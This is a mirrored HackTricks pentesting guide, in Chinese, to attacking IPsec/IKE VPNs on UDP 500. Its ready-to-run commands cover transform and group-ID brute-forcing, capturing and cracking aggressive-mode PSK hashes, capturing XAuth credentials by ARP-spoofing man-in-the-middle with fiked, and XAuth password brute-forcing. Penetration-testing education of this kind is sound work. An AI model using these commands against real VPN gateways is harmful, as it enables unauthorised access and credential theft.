mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
242 lines
14 KiB
Markdown
242 lines
14 KiB
Markdown
# 500/udp - Pentesting IPsec/IKE VPN
|
||
|
||
{{#include ../banners/hacktricks-training.md}}
|
||
|
||
## 基本信息
|
||
|
||
**IPsec** 被广泛认为是保护网络之间(LAN到LAN)和从远程用户到网络网关(远程访问)通信的主要技术,是企业VPN解决方案的支柱。
|
||
|
||
在两个点之间建立**安全关联(SA)**的过程由**IKE**管理,IKE在ISAKMP的框架下运行,ISAKMP是一个用于身份验证和密钥交换的协议。这个过程分为几个阶段:
|
||
|
||
- **阶段1:** 在两个端点之间创建一个安全通道。这是通过使用预共享密钥(PSK)或证书来实现的,采用主模式,该模式涉及三对消息,或**激进模式**。
|
||
- **阶段1.5:** 虽然不是强制性的,这个阶段被称为扩展认证阶段,通过要求用户名和密码来验证试图连接的用户的身份。
|
||
- **阶段2:** 这个阶段专注于协商用于保护数据的**ESP**和**AH**的参数。它允许使用与阶段1不同的算法,以确保**完美前向保密(PFS)**,增强安全性。
|
||
|
||
**默认端口:** 500/udp
|
||
|
||
## **使用 nmap 发现** 服务
|
||
```
|
||
root@bt:~# nmap -sU -p 500 172.16.21.200
|
||
Starting Nmap 5.51 (http://nmap.org) at 2011-11-26 10:56 IST
|
||
Nmap scan report for 172.16.21.200
|
||
Host is up (0.00036s latency).
|
||
PORT STATE SERVICE
|
||
500/udp open isakmp
|
||
MAC Address: 00:1B:D5:54:4D:E4 (Cisco Systems)
|
||
```
|
||
## **寻找有效的转换**
|
||
|
||
IPSec 配置可以仅准备接受一个或几个转换。转换是值的组合。**每个转换**包含多个属性,如 DES 或 3DES 作为 **加密算法**,SHA 或 MD5 作为 **完整性算法**,预共享密钥作为 **认证类型**,Diffie-Hellman 1 或 2 作为密钥 **分发算法**,以及 28800 秒作为 **生命周期**。
|
||
|
||
然后,您首先需要做的就是 **找到一个有效的转换**,这样服务器才能与您通信。为此,您可以使用工具 **ike-scan**。默认情况下,Ike-scan 在主模式下工作,并向网关发送一个带有 ISAKMP 头和一个包含 **八个转换** 的单一提案的数据包。
|
||
|
||
根据响应,您可以获得有关端点的一些信息:
|
||
```
|
||
root@bt:~# ike-scan -M 172.16.21.200
|
||
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
|
||
172.16.21.200 Main Mode Handshake returned
|
||
HDR=(CKY-R=d90bf054d6b76401)
|
||
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
|
||
VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)
|
||
|
||
Ending ike-scan 1.9: 1 hosts scanned in 0.015 seconds (65.58 hosts/sec). 1 returned handshake; 0 returned notify
|
||
```
|
||
如您在之前的回复中所见,有一个字段叫做 **AUTH**,其值为 **PSK**。这意味着 VPN 是使用预共享密钥配置的(这对渗透测试人员来说非常好)。\
|
||
**最后一行的值也非常重要:**
|
||
|
||
- _0 returned handshake; 0 returned notify:_ 这意味着目标 **不是 IPsec 网关**。
|
||
- _**1 returned handshake; 0 returned notify:**_ 这意味着 **目标已配置为 IPsec,并愿意进行 IKE 协商,您提议的一个或多个变换是可接受的**(有效的变换将在输出中显示)。
|
||
- _0 returned handshake; 1 returned notify:_ VPN 网关在 **没有变换可接受** 时会回复通知消息(尽管有些网关不会,在这种情况下应进行进一步分析并尝试修订提案)。
|
||
|
||
然后,在这种情况下,我们已经有了有效的变换,但如果您处于第三种情况,则需要 **稍微暴力破解一下以找到有效的变换:**
|
||
|
||
首先,您需要创建所有可能的变换:
|
||
```bash
|
||
for ENC in 1 2 3 4 5 6 7/128 7/192 7/256 8; do for HASH in 1 2 3 4 5 6; do for AUTH in 1 2 3 4 5 6 7 8 64221 64222 64223 64224 65001 65002 65003 65004 65005 65006 65007 65008 65009 65010; do for GROUP in 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18; do echo "--trans=$ENC,$HASH,$AUTH,$GROUP" >> ike-dict.txt ;done ;done ;done ;done
|
||
```
|
||
然后使用 ike-scan 对每一个进行暴力破解(这可能需要几分钟):
|
||
```bash
|
||
while read line; do (echo "Valid trans found: $line" && sudo ike-scan -M $line <IP>) | grep -B14 "1 returned handshake" | grep "Valid trans found" ; done < ike-dict.txt
|
||
```
|
||
如果暴力破解没有成功,可能服务器即使对有效的变换也没有进行握手响应。然后,你可以尝试使用攻击模式进行相同的暴力破解:
|
||
```bash
|
||
while read line; do (echo "Valid trans found: $line" && ike-scan -M --aggressive -P handshake.txt $line <IP>) | grep -B7 "SA=" | grep "Valid trans found" ; done < ike-dict.txt
|
||
```
|
||
希望**有效的转换被回显**。\
|
||
您可以尝试使用[**iker.py**](https://github.com/isaudits/scripts/blob/master/iker.py)进行**相同的攻击**。\
|
||
您还可以尝试使用[**ikeforce**](https://github.com/SpiderLabs/ikeforce)进行暴力破解转换:
|
||
```bash
|
||
./ikeforce.py <IP> # No parameters are required for scan -h for additional help
|
||
```
|
||
.png>)
|
||
|
||
在 **DH 组:14 = 2048 位 MODP** 和 **15 = 3072 位**\
|
||
**2 = HMAC-SHA = SHA1(在这种情况下)。`--trans` 格式为 $Enc,$Hash,$Auth,$DH**
|
||
|
||
Cisco 指出要避免使用 DH 组 1 和 2,因为它们不够强大。专家认为,**资源丰富的国家可以轻易破解使用这些弱组的数据加密**。这通过使用一种特殊的方法来实现,使它们能够快速破解代码。尽管设置这种方法的成本很高,但它允许这些强大的国家实时读取加密数据,如果使用的是不强的组(如 1,024 位或更小)。
|
||
|
||
### 服务器指纹识别
|
||
|
||
然后,您可以使用 ike-scan 尝试 **发现设备的供应商**。该工具发送初始提案并停止重放。然后,它将 **分析** 从服务器接收到的 **消息** 与匹配响应模式之间的 **时间** 差异,渗透测试人员可以成功识别 VPN 网关供应商。此外,一些 VPN 服务器将使用可选的 **供应商 ID (VID) 负载** 与 IKE。
|
||
|
||
**如有需要,请指定有效的转换**(使用 --trans)
|
||
|
||
如果 IKE 发现供应商,它将打印出来:
|
||
```
|
||
root@bt:~# ike-scan -M --showbackoff 172.16.21.200
|
||
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
|
||
172.16.21.200 Main Mode Handshake returned
|
||
HDR=(CKY-R=4f3ec84731e2214a)
|
||
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
|
||
VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)
|
||
|
||
IKE Backoff Patterns:
|
||
|
||
IP Address No. Recv time Delta Time
|
||
172.16.21.200 1 1322286031.744904 0.000000
|
||
172.16.21.200 2 1322286039.745081 8.000177
|
||
172.16.21.200 3 1322286047.745989 8.000908
|
||
172.16.21.200 4 1322286055.746972 8.000983
|
||
172.16.21.200 Implementation guess: Cisco VPN Concentrator
|
||
|
||
Ending ike-scan 1.9: 1 hosts scanned in 84.080 seconds (0.01 hosts/sec). 1 returned handshake; 0 returned notify
|
||
```
|
||
这也可以通过 nmap 脚本 _**ike-version**_ 来实现。
|
||
|
||
## 查找正确的 ID(组名)
|
||
|
||
为了能够捕获哈希,您需要一个支持 Aggressive 模式的有效转换和正确的 ID(组名)。您可能不知道有效的组名,因此您需要进行暴力破解。\
|
||
为此,我建议您使用 2 种方法:
|
||
|
||
### 使用 ike-scan 进行暴力破解 ID
|
||
|
||
首先尝试使用假 ID 发起请求,试图收集哈希(“-P”):
|
||
```bash
|
||
ike-scan -P -M -A -n fakeID <IP>
|
||
```
|
||
如果**没有返回哈希**,那么这种暴力破解的方法可能会有效。**如果返回了一些哈希,这意味着将会为一个假 ID 发送一个假哈希,因此这种方法对暴力破解 ID 不可靠**。例如,可能会返回一个假哈希(这在现代版本中发生):
|
||
|
||
.png>)
|
||
|
||
但如果如我所说,没有返回哈希,那么你应该尝试使用 ike-scan 暴力破解常见的组名。
|
||
|
||
这个脚本**将尝试暴力破解可能的 ID**,并返回有效握手的 ID(这将是一个有效的组名)。
|
||
|
||
如果你发现了特定的转换,请将其添加到 ike-scan 命令中。如果你发现了多个转换,可以自由添加一个新循环来尝试它们所有(你应该尝试它们所有,直到其中一个正常工作)。
|
||
|
||
你可以使用[ ikeforce 的字典](https://github.com/SpiderLabs/ikeforce/blob/master/wordlists/groupnames.dic)或[ seclists 中的字典](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/ike-groupid.txt)来暴力破解常见的组名:
|
||
```bash
|
||
while read line; do (echo "Found ID: $line" && sudo ike-scan -M -A -n $line <IP>) | grep -B14 "1 returned handshake" | grep "Found ID:"; done < /usr/share/wordlists/external/SecLists/Miscellaneous/ike-groupid.txt
|
||
```
|
||
{{#file}}
|
||
vpnIDs.txt
|
||
{{#endfile}}
|
||
|
||
### 使用 Iker 进行 ID 暴力破解
|
||
|
||
[**iker.py**](https://github.com/isaudits/scripts/blob/master/iker.py) 也使用 **ike-scan** 来暴力破解可能的组名。它遵循自己的方法来 **根据 ike-scan 的输出找到有效的 ID**。
|
||
|
||
### 使用 ikeforce 进行 ID 暴力破解
|
||
|
||
[**ikeforce.py**](https://github.com/SpiderLabs/ikeforce) 是一个可以用来 **暴力破解 ID 的工具**。该工具将 **尝试利用不同的漏洞**,以区分 **有效 ID 和无效 ID**(可能会有误报和漏报,这就是为什么我更喜欢在可能的情况下使用 ike-scan 方法)。
|
||
|
||
默认情况下,**ikeforce** 在开始时会发送一些随机 ID 来检查服务器的行为并确定使用的策略。
|
||
|
||
- **第一种方法**是通过 **搜索** Cisco 系统的 **死对等检测 DPD** 信息来暴力破解组名(只有在组名正确时,服务器才会回复此信息)。
|
||
- **第二种方法**是 **检查每次尝试发送的响应数量**,因为有时使用正确 ID 时会发送更多数据包。
|
||
- **第三种方法**是 **搜索对无效 ID 的响应中的 "INVALID-ID-INFORMATION"**。
|
||
- 最后,如果服务器对检查没有任何回复,**ikeforce** 将尝试暴力破解服务器,并检查在发送正确 ID 时服务器是否回复某些数据包。\
|
||
显然,暴力破解 ID 的目标是获取 **PSK**,当你有一个有效的 ID 时。然后,使用 **ID** 和 **PSK** 你将需要暴力破解 XAUTH(如果启用的话)。
|
||
|
||
如果你发现了特定的转换,请将其添加到 ikeforce 命令中。如果你发现了多个转换,可以随意添加一个新循环来尝试它们所有(你应该尝试所有,直到其中一个正常工作)。
|
||
```bash
|
||
git clone https://github.com/SpiderLabs/ikeforce.git
|
||
pip install 'pyopenssl==17.2.0' #It is old and need this version of the library
|
||
```
|
||
|
||
```bash
|
||
./ikeforce.py <IP> -e -w ./wordlists/groupnames.dic
|
||
```
|
||
### Sniffing ID
|
||
|
||
(来自书籍 **Network Security Assessment: Know Your Network**): 通过嗅探 VPN 客户端和服务器之间的连接,也可以获得有效的用户名,因为包含客户端 ID 的第一个攻击模式数据包是以明文发送的。
|
||
|
||
.png>)
|
||
|
||
## Capturing & cracking the hash
|
||
|
||
最后,如果您找到了 **有效的变换** 和 **组名**,并且 **允许攻击模式**,那么您可以非常轻松地获取可破解的哈希:
|
||
```bash
|
||
ike-scan -M -A -n <ID> --pskcrack=hash.txt <IP> #If aggressive mode is supported and you know the id, you can get the hash of the passwor
|
||
```
|
||
哈希将保存在 _hash.txt_ 中。
|
||
|
||
您可以使用 **psk-crack**、**john**(使用 [**ikescan2john.py**](https://github.com/truongkma/ctf-tools/blob/master/John/run/ikescan2john.py))和 **hashcat** 来 **crack** 哈希:
|
||
```bash
|
||
psk-crack -d <Wordlist_path> psk.txt
|
||
```
|
||
## **XAuth**
|
||
|
||
**Aggressive mode IKE** 结合 **Pre-Shared Key (PSK)** 通常用于 **组认证** 目的。此方法通过 **XAuth (Extended Authentication)** 得到增强,后者引入了额外的 **用户认证** 层。这样的认证通常利用 **Microsoft Active Directory**、**RADIUS** 或类似系统。
|
||
|
||
转向 **IKEv2** 时,观察到一个显著的变化,即 **EAP (Extensible Authentication Protocol)** 被用来替代 **XAuth** 进行用户认证。这一变化强调了安全通信协议中认证实践的演变。
|
||
|
||
### 本地网络 MitM 捕获凭证
|
||
|
||
因此,您可以使用 _fiked_ 捕获登录数据,并查看是否有任何默认用户名(您需要将 IKE 流量重定向到 `fiked` 进行嗅探,这可以通过 ARP 欺骗来实现,[更多信息](https://opensourceforu.com/2012/01/ipsec-vpn-penetration-testing-backtrack-tools/))。Fiked 将充当 VPN 端点并捕获 XAuth 凭证:
|
||
```bash
|
||
fiked -g <IP> -k testgroup:secretkey -l output.txt -d
|
||
```
|
||
也可以使用IPSec尝试进行中间人攻击并阻止所有到500端口的流量,如果IPSec隧道无法建立,流量可能会以明文形式发送。
|
||
|
||
### 使用ikeforce暴力破解XAUTH用户名和密码
|
||
|
||
要暴力破解**XAUTH**(当你知道一个有效的组名**id**和**psk**时),你可以使用一个用户名或用户名列表以及一个密码列表:
|
||
```bash
|
||
./ikeforce.py <IP> -b -i <group_id> -u <username> -k <PSK> -w <passwords.txt> [-s 1]
|
||
```
|
||
这样,ikeforce将尝试使用每个用户名:密码的组合进行连接。
|
||
|
||
如果您找到一个或多个有效的转换,只需像之前的步骤一样使用它们。
|
||
|
||
## 使用IPSEC VPN进行身份验证
|
||
|
||
在Kali中,**VPNC**用于建立IPsec隧道。**配置文件**必须位于目录`/etc/vpnc/`中。您可以使用命令_**vpnc**_来启动这些配置文件。
|
||
|
||
以下命令和配置说明了使用VPNC设置VPN连接的过程:
|
||
```bash
|
||
root@system:~# cat > /etc/vpnc/samplevpn.conf << STOP
|
||
IPSec gateway [VPN_GATEWAY_IP]
|
||
IPSec ID [VPN_CONNECTION_ID]
|
||
IPSec secret [VPN_GROUP_SECRET]
|
||
IKE Authmode psk
|
||
Xauth username [VPN_USERNAME]
|
||
Xauth password [VPN_PASSWORD]
|
||
STOP
|
||
root@system:~# vpnc samplevpn
|
||
VPNC started in background (pid: [PID])...
|
||
root@system:~# ifconfig tun0
|
||
```
|
||
在此设置中:
|
||
|
||
- 将 `[VPN_GATEWAY_IP]` 替换为 VPN 网关的实际 IP 地址。
|
||
- 将 `[VPN_CONNECTION_ID]` 替换为 VPN 连接的标识符。
|
||
- 将 `[VPN_GROUP_SECRET]` 替换为 VPN 的组密钥。
|
||
- 将 `[VPN_USERNAME]` 和 `[VPN_PASSWORD]` 替换为 VPN 身份验证凭据。
|
||
- `[PID]` 表示在 `vpnc` 启动时将分配的进程 ID。
|
||
|
||
确保在配置 VPN 时使用实际的、安全的值来替换占位符。
|
||
|
||
## 参考材料
|
||
|
||
- [PSK cracking paper](http://www.ernw.de/download/pskattack.pdf)
|
||
- [SecurityFocus Infocus](http://www.securityfocus.com/infocus/1821)
|
||
- [Scanning a VPN Implementation](http://www.radarhack.com/dir/papers/Scanning_ike_with_ikescan.pdf)
|
||
- Network Security Assessment 3rd Edition
|
||
|
||
## Shodan
|
||
|
||
- `port:500 IKE`
|
||
|
||
{{#include ../banners/hacktricks-training.md}}
|